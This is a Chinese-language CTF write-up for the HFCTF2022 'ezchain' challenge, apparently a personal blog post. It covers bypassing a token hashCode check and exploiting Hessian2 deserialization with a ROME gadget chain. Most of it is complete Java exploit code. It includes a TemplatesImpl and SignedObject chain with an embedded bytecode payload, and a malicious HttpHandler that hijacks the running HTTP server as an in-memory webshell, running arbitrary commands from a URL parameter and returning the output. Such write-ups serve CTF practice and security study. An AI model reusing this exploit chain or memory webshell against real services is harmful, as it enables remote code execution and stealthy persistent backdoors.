HFCTF2022 ezchain

前言

刚学了Hessian反序列化,正好来做一下这道题,水文一篇。

分析

直接给了jar包,反编译一下

image-20220411215654307

代码不多,很容易看懂。大致流程就是传递一个token参数,其值的hashcode要与HFCTF2022相同且不能为HFCTF2022,然后就用Hessian2反序列化请求体中的内容。

hash碰撞

首先是第一层,直接碰撞即可,这里给出一个可用的HFCTF200p

Hessian2反序列化

Hessian2反序列化与Hessian大致相同,所以只需要将序列化时使用的HessianOutput改成Hessian2Output。然后注意到有rome依赖,考虑用Hessian反序列化那条romegadget

image-20220411220404422

要注意的是,这里的rome的版本是1.7.0,之前自己复现的时候使用的是1.0。在1.7.0中,一些类的路径改变了

1.0

image-20220411220623145

1.7.0

image-20220411220642123

然后看到docker-compose.yal

image-20220411220738441

显而易见的不出网,就要使用之前分析的Hessian反序列化结合rome的不出网利用了,先简单构造一下弹计算器的EXP在本地测试一下

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import sun.security.provider.DSAPrivateKey;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class romeExp2 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
        HashMap hashMapx=getObject();

        //构造SignedObject对象
        SignedObject signedObject=new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
            @Override
            protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

            }

            @Override
            protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

            }

            @Override
            protected void engineUpdate(byte b) throws SignatureException {

            }

            @Override
            protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

            }

            @Override
            protected byte[] engineSign() throws SignatureException {
                return new byte[0];
            }

            @Override
            protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                return false;
            }

            @Override
            protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

            }

            @Override
            protected Object engineGetParameter(String param) throws InvalidParameterException {
                return null;
            }
        });


        //构造ToStringBean
        ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
        ToStringBean toStringBean1=new ToStringBean(String.class,"s");

        //构造ObjectBean
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

        //构造HashMap
        HashMap hashMap=new HashMap();
        hashMap.put(objectBean,"novic4");

        //反射修改字段
        Field obj= EqualsBean.class.getDeclaredField("obj");
        Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");

        obj.setAccessible(true);
        equalsBean.setAccessible(true);

        obj.set(equalsBean.get(objectBean),toStringBean);

        /*ByteArrayOutputStream ser = new ByteArrayOutputStream();
        Hessian2Output hessianOutput=new Hessian2Output(ser);
        hessianOutput.writeObject(hashMap);
        hessianOutput.close();

        System.out.println(ser);*/


        Hessian2Output hessianOutput1=new Hessian2Output(new FileOutputStream("./second.ser"));
        hessianOutput1.writeObject(hashMap);
        hessianOutput1.close();

        //Hessian2Input hessianInput=new Hessian2Input(new FileInputStream("./second.ser"));
        //hessianInput.readObject();
        //HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
        //hessianInput.readObject();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }

    //获取原生反序列化对象
    public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
        //构造TemplatesImpl对象
        byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //构造ToStringBean
        ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
        ToStringBean toStringBean1=new ToStringBean(String.class,"s");

        //构造ObjectBean
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

        //构造HashMap
        HashMap hashMap=new HashMap();
        hashMap.put(objectBean,"novic4");

        //反射修改字段
        Field obj=EqualsBean.class.getDeclaredField("obj");
        Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");

        obj.setAccessible(true);
        equalsBean.setAccessible(true);

        obj.set(equalsBean.get(objectBean),toStringBean);

        return  hashMap;
    }
}

image-20220411221048229

成功执行命令

获取回显

虽然能够执行命令了,但是题目环境不出网,所以没办法反弹shell,只能想办法获取回显。回想学习内存马时分析的Tomcat获取回显的方法,要先看看有没有存储了Request或者Response的的全局变量,不过这里没有寻找到。又想到基本上需要的类在当前线程对象中都可以获取到

image-20220412172708714

在线程对象中找了一圈没找到Request对象,但是发现了handler对象,把这里的handler直接替换为恶意handler应该就可以实现内存马一样的效果吧,简单构造一下

恶意handler

import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.LinkedList;

public class testHandler extends AbstractTranslet implements HttpHandler {
    {
        ThreadGroup threadGroup=Thread.currentThread().getThreadGroup();

        try {
            Field threadsf=threadGroup.getClass().getDeclaredField("threads");
            threadsf.setAccessible(true);
            Thread[] threads= (Thread[]) threadsf.get(threadGroup);
            Thread thread=threads[1];

            Field targetf=thread.getClass().getDeclaredField("target");
            targetf.setAccessible(true);
            Object target=targetf.get(thread);

            Field f=Class.forName("sun.net.httpserver.ServerImpl$Dispatcher").getDeclaredField("this$0");
            f.setAccessible(true);

            Object serverimpl=f.get(target);
            
            Field contextsf=Class.forName("sun.net.httpserver.ServerImpl").getDeclaredField("contexts");
            contextsf.setAccessible(true);
            Object contexts=contextsf.get(serverimpl);

            Field listf=Class.forName("sun.net.httpserver.ContextList").getDeclaredField("list");
            listf.setAccessible(true);
            LinkedList list= (LinkedList) listf.get(contexts);

            Object httpContextImpl=list.get(0);

            Field handlerf=Class.forName("sun.net.httpserver.HttpContextImpl").getDeclaredField("handler");
            handlerf.setAccessible(true);
            handlerf.set(httpContextImpl,this);
        } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void handle(com.sun.net.httpserver.HttpExchange httpExchange) throws IOException {
        String query=httpExchange.getRequestURI().getQuery();

        String cmd=query.split("=")[1];

        if(cmd!=null){
            InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;

            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            httpExchange.sendResponseHeaders(200, new String(baos.toByteArray()).length());
            OutputStream os = httpExchange.getResponseBody();
            os.write(baos.toByteArray());
            os.close();
        }
    }
}

EXP

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import sun.security.provider.DSAPrivateKey;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class romeExp2 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException {
        HashMap hashMapx=getObject();

        //构造SignedObject对象
        SignedObject signedObject=new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
            @Override
            protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

            }

            @Override
            protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

            }

            @Override
            protected void engineUpdate(byte b) throws SignatureException {

            }

            @Override
            protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

            }

            @Override
            protected byte[] engineSign() throws SignatureException {
                return new byte[0];
            }

            @Override
            protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                return false;
            }

            @Override
            protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

            }

            @Override
            protected Object engineGetParameter(String param) throws InvalidParameterException {
                return null;
            }
        });


        //构造ToStringBean
        ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
        ToStringBean toStringBean1=new ToStringBean(String.class,"s");

        //构造ObjectBean
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

        //构造HashMap
        HashMap hashMap=new HashMap();
        hashMap.put(objectBean,"novic4");

        //反射修改字段
        Field obj= EqualsBean.class.getDeclaredField("obj");
        Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");

        obj.setAccessible(true);
        equalsBean.setAccessible(true);

        obj.set(equalsBean.get(objectBean),toStringBean);

        Hessian2Output hessianOutput1=new Hessian2Output(new FileOutputStream("./second.ser"));
        hessianOutput1.writeObject(hashMap);
        hessianOutput1.close();
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }

    //获取原生反序列化对象
    public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, NotFoundException {
        //构造TemplatesImpl对象
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("testHandler");
        byte[] bytecode=cc.toBytecode();
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //构造ToStringBean
        ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
        ToStringBean toStringBean1=new ToStringBean(String.class,"s");

        //构造ObjectBean
        ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

        //构造HashMap
        HashMap hashMap=new HashMap();
        hashMap.put(objectBean,"novic4");

        //反射修改字段
        Field obj=EqualsBean.class.getDeclaredField("obj");
        Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");

        obj.setAccessible(true);
        equalsBean.setAccessible(true);

        obj.set(equalsBean.get(objectBean),toStringBean);

        return  hashMap;
    }
}

看一下效果

image-20220412173234748

成功获取回显

本文链接:

http://124.223.185.138/index.php/archives/24.html
1 + 1 =
1 评论